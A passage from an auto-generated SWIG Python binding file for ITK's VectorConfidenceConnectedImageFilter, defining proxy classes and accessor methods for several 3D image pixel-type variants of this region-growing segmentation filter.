return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32IUS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF33ISS3(itkImageToImageFilterBPython.itkImageToImageFilterIVF33ISS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF33ISS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF33ISS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF33ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF33ISS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self) -> itkVectorConfidenceConnectedImageFilterIVF33ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF33ISS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF33ISS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF33ISS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF33ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF33ISS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF33ISS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF33ISS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF33ISS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF33ISS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_Clone, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF33ISS3)
itkVectorConfidenceConnectedImageFilterIVF33ISS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_swigregister
itkVectorConfidenceConnectedImageFilterIVF33ISS3_swigregister(itkVectorConfidenceConnectedImageFilterIVF33ISS3)
def itkVectorConfidenceConnectedImageFilterIVF33ISS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF33ISS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF33ISS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF33ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF33ISS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF33ISS3 *":
"""itkVectorConfidenceConnectedImageFilterIVF33ISS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF33ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33ISS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF33IUC3(itkImageToImageFilterBPython.itkImageToImageFilterIVF33IUC3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF33IUC3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF33IUC3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF33IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF33IUC3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self) -> itkVectorConfidenceConnectedImageFilterIVF33IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF33IUC3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF33IUC3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF33IUC3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF33IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF33IUC3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF33IUC3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF33IUC3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF33IUC3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF33IUC3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_Clone, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF33IUC3)
itkVectorConfidenceConnectedImageFilterIVF33IUC3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_swigregister
itkVectorConfidenceConnectedImageFilterIVF33IUC3_swigregister(itkVectorConfidenceConnectedImageFilterIVF33IUC3)
def itkVectorConfidenceConnectedImageFilterIVF33IUC3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF33IUC3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF33IUC3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF33IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF33IUC3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF33IUC3 *":
"""itkVectorConfidenceConnectedImageFilterIVF33IUC3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF33IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUC3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF33IUS3(itkImageToImageFilterBPython.itkImageToImageFilterIVF33IUS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF33IUS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF33IUS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF33IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF33IUS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self) -> itkVectorConfidenceConnectedImageFilterIVF33IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self) -> unsigned int const &"""
